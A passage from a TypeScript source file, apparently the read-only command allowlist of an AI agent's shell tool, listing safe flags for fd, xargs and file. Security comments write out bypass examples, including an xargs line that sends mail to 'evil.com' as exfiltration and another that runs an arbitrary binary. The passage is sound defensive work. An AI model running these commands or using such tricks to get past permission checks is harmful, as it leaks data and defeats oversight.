|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import type { z } from 'zod/v4'
|
| 2 |
+
import { getOriginalCwd } from '../../bootstrap/state.js'
|
| 3 |
+
import {
|
| 4 |
+
extractOutputRedirections,
|
| 5 |
+
splitCommand_DEPRECATED,
|
| 6 |
+
} from '../../utils/bash/commands.js'
|
| 7 |
+
import { tryParseShellCommand } from '../../utils/bash/shellQuote.js'
|
| 8 |
+
import { getCwd } from '../../utils/cwd.js'
|
| 9 |
+
import { isCurrentDirectoryBareGitRepo } from '../../utils/git.js'
|
| 10 |
+
import type { PermissionResult } from '../../utils/permissions/PermissionResult.js'
|
| 11 |
+
import { getPlatform } from '../../utils/platform.js'
|
| 12 |
+
import { SandboxManager } from '../../utils/sandbox/sandbox-adapter.js'
|
| 13 |
+
import {
|
| 14 |
+
containsVulnerableUncPath,
|
| 15 |
+
DOCKER_READ_ONLY_COMMANDS,
|
| 16 |
+
EXTERNAL_READONLY_COMMANDS,
|
| 17 |
+
type FlagArgType,
|
| 18 |
+
GH_READ_ONLY_COMMANDS,
|
| 19 |
+
GIT_READ_ONLY_COMMANDS,
|
| 20 |
+
PYRIGHT_READ_ONLY_COMMANDS,
|
| 21 |
+
RIPGREP_READ_ONLY_COMMANDS,
|
| 22 |
+
validateFlags,
|
| 23 |
+
} from '../../utils/shell/readOnlyCommandValidation.js'
|
| 24 |
+
import type { BashTool } from './BashTool.js'
|
| 25 |
+
import { isNormalizedGitCommand } from './bashPermissions.js'
|
| 26 |
+
import { bashCommandIsSafe_DEPRECATED } from './bashSecurity.js'
|
| 27 |
+
import {
|
| 28 |
+
COMMAND_OPERATION_TYPE,
|
| 29 |
+
PATH_EXTRACTORS,
|
| 30 |
+
type PathCommand,
|
| 31 |
+
} from './pathValidation.js'
|
| 32 |
+
import { sedCommandIsAllowedByAllowlist } from './sedValidation.js'
|
| 33 |
+
|
| 34 |
+
// Unified command validation configuration system
|
| 35 |
+
type CommandConfig = {
|
| 36 |
+
// A Record mapping from the command (e.g. `xargs` or `git diff`) to its safe flags and the values they accept
|
| 37 |
+
safeFlags: Record<string, FlagArgType>
|
| 38 |
+
// An optional regex that is used for additional validation beyond flag parsing
|
| 39 |
+
regex?: RegExp
|
| 40 |
+
// An optional callback for additional custom validation logic. Returns true if the command is dangerous,
|
| 41 |
+
// false if it appears to be safe. Meant to be used in conjunction with the safeFlags-based validation.
|
| 42 |
+
additionalCommandIsDangerousCallback?: (
|
| 43 |
+
rawCommand: string,
|
| 44 |
+
args: string[],
|
| 45 |
+
) => boolean
|
| 46 |
+
// When false, the tool does NOT respect POSIX `--` end-of-options.
|
| 47 |
+
// validateFlags will continue checking flags after `--` instead of breaking.
|
| 48 |
+
// Default: true (most tools respect `--`).
|
| 49 |
+
respectsDoubleDash?: boolean
|
| 50 |
+
}
|
| 51 |
+
|
| 52 |
+
// Shared safe flags for fd and fdfind (Debian/Ubuntu package name)
|
| 53 |
+
// SECURITY: -x/--exec and -X/--exec-batch are deliberately excluded —
|
| 54 |
+
// they execute arbitrary commands for each search result.
|
| 55 |
+
const FD_SAFE_FLAGS: Record<string, FlagArgType> = {
|
| 56 |
+
'-h': 'none',
|
| 57 |
+
'--help': 'none',
|
| 58 |
+
'-V': 'none',
|
| 59 |
+
'--version': 'none',
|
| 60 |
+
'-H': 'none',
|
| 61 |
+
'--hidden': 'none',
|
| 62 |
+
'-I': 'none',
|
| 63 |
+
'--no-ignore': 'none',
|
| 64 |
+
'--no-ignore-vcs': 'none',
|
| 65 |
+
'--no-ignore-parent': 'none',
|
| 66 |
+
'-s': 'none',
|
| 67 |
+
'--case-sensitive': 'none',
|
| 68 |
+
'-i': 'none',
|
| 69 |
+
'--ignore-case': 'none',
|
| 70 |
+
'-g': 'none',
|
| 71 |
+
'--glob': 'none',
|
| 72 |
+
'--regex': 'none',
|
| 73 |
+
'-F': 'none',
|
| 74 |
+
'--fixed-strings': 'none',
|
| 75 |
+
'-a': 'none',
|
| 76 |
+
'--absolute-path': 'none',
|
| 77 |
+
// SECURITY: -l/--list-details EXCLUDED — internally executes `ls` as subprocess (same
|
| 78 |
+
// pathway as --exec-batch). PATH hijacking risk if malicious `ls` is on PATH.
|
| 79 |
+
'-L': 'none',
|
| 80 |
+
'--follow': 'none',
|
| 81 |
+
'-p': 'none',
|
| 82 |
+
'--full-path': 'none',
|
| 83 |
+
'-0': 'none',
|
| 84 |
+
'--print0': 'none',
|
| 85 |
+
'-d': 'number',
|
| 86 |
+
'--max-depth': 'number',
|
| 87 |
+
'--min-depth': 'number',
|
| 88 |
+
'--exact-depth': 'number',
|
| 89 |
+
'-t': 'string',
|
| 90 |
+
'--type': 'string',
|
| 91 |
+
'-e': 'string',
|
| 92 |
+
'--extension': 'string',
|
| 93 |
+
'-S': 'string',
|
| 94 |
+
'--size': 'string',
|
| 95 |
+
'--changed-within': 'string',
|
| 96 |
+
'--changed-before': 'string',
|
| 97 |
+
'-o': 'string',
|
| 98 |
+
'--owner': 'string',
|
| 99 |
+
'-E': 'string',
|
| 100 |
+
'--exclude': 'string',
|
| 101 |
+
'--ignore-file': 'string',
|
| 102 |
+
'-c': 'string',
|
| 103 |
+
'--color': 'string',
|
| 104 |
+
'-j': 'number',
|
| 105 |
+
'--threads': 'number',
|
| 106 |
+
'--max-buffer-time': 'string',
|
| 107 |
+
'--max-results': 'number',
|
| 108 |
+
'-1': 'none',
|
| 109 |
+
'-q': 'none',
|
| 110 |
+
'--quiet': 'none',
|
| 111 |
+
'--show-errors': 'none',
|
| 112 |
+
'--strip-cwd-prefix': 'none',
|
| 113 |
+
'--one-file-system': 'none',
|
| 114 |
+
'--prune': 'none',
|
| 115 |
+
'--search-path': 'string',
|
| 116 |
+
'--base-directory': 'string',
|
| 117 |
+
'--path-separator': 'string',
|
| 118 |
+
'--batch-size': 'number',
|
| 119 |
+
'--no-require-git': 'none',
|
| 120 |
+
'--hyperlink': 'string',
|
| 121 |
+
'--and': 'string',
|
| 122 |
+
'--format': 'string',
|
| 123 |
+
}
|
| 124 |
+
|
| 125 |
+
// Central configuration for allowlist-based command validation
|
| 126 |
+
// All commands and flags here should only allow reading files. They should not
|
| 127 |
+
// allow writing to files, executing code, or creating network requests.
|
| 128 |
+
const COMMAND_ALLOWLIST: Record<string, CommandConfig> = {
|
| 129 |
+
xargs: {
|
| 130 |
+
safeFlags: {
|
| 131 |
+
'-I': '{}',
|
| 132 |
+
// SECURITY: `-i` and `-e` (lowercase) REMOVED — both use GNU getopt
|
| 133 |
+
// optional-attached-arg semantics (`i::`, `e::`). The arg MUST be
|
| 134 |
+
// attached (`-iX`, `-eX`); space-separated (`-i X`, `-e X`) means the
|
| 135 |
+
// flag takes NO arg and `X` becomes the next positional (target command).
|
| 136 |
+
//
|
| 137 |
+
// `-i` (`i::` — optional replace-str):
|
| 138 |
+
// echo /usr/sbin/sendm | xargs -it tail a@evil.com
|
| 139 |
+
// validator: -it bundle (both 'none') OK, tail ∈ SAFE_TARGET → break
|
| 140 |
+
// GNU: -i replace-str=t, tail → /usr/sbin/sendmail → NETWORK EXFIL
|
| 141 |
+
//
|
| 142 |
+
// `-e` (`e::` — optional eof-str):
|
| 143 |
+
// cat data | xargs -e EOF echo foo
|
| 144 |
+
// validator: -e consumes 'EOF' as arg (type 'EOF'), echo ∈ SAFE_TARGET
|
| 145 |
+
// GNU: -e no attached arg → no eof-str, 'EOF' is the TARGET COMMAND
|
| 146 |
+
// → executes binary named EOF from PATH → CODE EXEC (malicious repo)
|
| 147 |
+
//
|
| 148 |
+
// Use uppercase `-I {}` (mandatory arg) and `-E EOF` (POSIX, mandatory
|
| 149 |
+
// arg) instead — both validator and xargs agree on argument consumption.
|
| 150 |
+
// `-i`/`-e` are deprecated (GNU: "use -I instead" / "use -E instead").
|
| 151 |
+
'-n': 'number',
|
| 152 |
+
'-P': 'number',
|
| 153 |
+
'-L': 'number',
|
| 154 |
+
'-s': 'number',
|
| 155 |
+
'-E': 'EOF', // POSIX, MANDATORY separate arg — validator & xargs agree
|
| 156 |
+
'-0': 'none',
|
| 157 |
+
'-t': 'none',
|
| 158 |
+
'-r': 'none',
|
| 159 |
+
'-x': 'none',
|
| 160 |
+
'-d': 'char',
|
| 161 |
+
},
|
| 162 |
+
},
|
| 163 |
+
// All git read-only commands from shared validation map
|
| 164 |
+
...GIT_READ_ONLY_COMMANDS,
|
| 165 |
+
file: {
|
| 166 |
+
safeFlags: {
|
| 167 |
+
// Output format flags
|
| 168 |
+
'--brief': 'none',
|
| 169 |
+
'-b': 'none',
|
| 170 |
+
'--mime': 'none',
|
| 171 |
+
'-i': 'none',
|
| 172 |
+
'--mime-type': 'none',
|
| 173 |
+
'--mime-encoding': 'none',
|
| 174 |
+
'--apple': 'none',
|
| 175 |
+
// Behavior flags
|
| 176 |
+
'--check-encoding': 'none',
|
| 177 |
+
'-c': 'none',
|
| 178 |
+
'--exclude': 'string',
|
| 179 |
+
'--exclude-quiet': 'string',
|
| 180 |
+
'--print0': 'none',
|
| 181 |
+
'-0': 'none',
|
| 182 |
+
'-f': 'string',
|
| 183 |
+
'-F': 'string',
|
| 184 |
+
'--separator': 'string',
|
| 185 |
+
'--help': 'none',
|
| 186 |
+
'--version': 'none',
|
| 187 |
+
'-v': 'none',
|
| 188 |
+
// Following/dereferencing
|
| 189 |
+
'--no-dereference': 'none',
|
| 190 |
+
'-h': 'none',
|
| 191 |
+
'--dereference': 'none',
|
| 192 |
